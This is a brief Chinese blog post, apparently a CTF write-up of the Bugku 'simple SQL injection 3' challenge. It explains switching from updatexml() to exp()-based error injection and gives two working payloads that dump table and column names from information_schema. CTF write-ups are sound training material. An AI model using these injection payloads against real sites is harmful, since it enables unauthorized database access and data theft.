简单的sql注入之3 exp函数的使用

最新推荐文章于 2024-03-09 19:13:58 发布

沐目_01

最新推荐文章于 2024-03-09 19:13:58 发布

阅读量1.5k

点赞数 1

分类专栏： CTF

本文链接：https://blog.csdn.net/weixin_44077544/article/details/89955770

版权

CTF 专栏收录该内容

22 篇文章 4 订阅

订阅专栏

bugku – 简单的sql注入之3

用 1‘试了试，报错，让后1“回显正常。应该是单引号。既然报错，就试了试updatexml（）这个函数，但发现被过滤了，所以用exp()这个函数，这里附上一些常见的报错函数：https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

给出payload：

表名：
?id=1' and exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))%23
字段名：
?id=1' and exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema=database())a))%23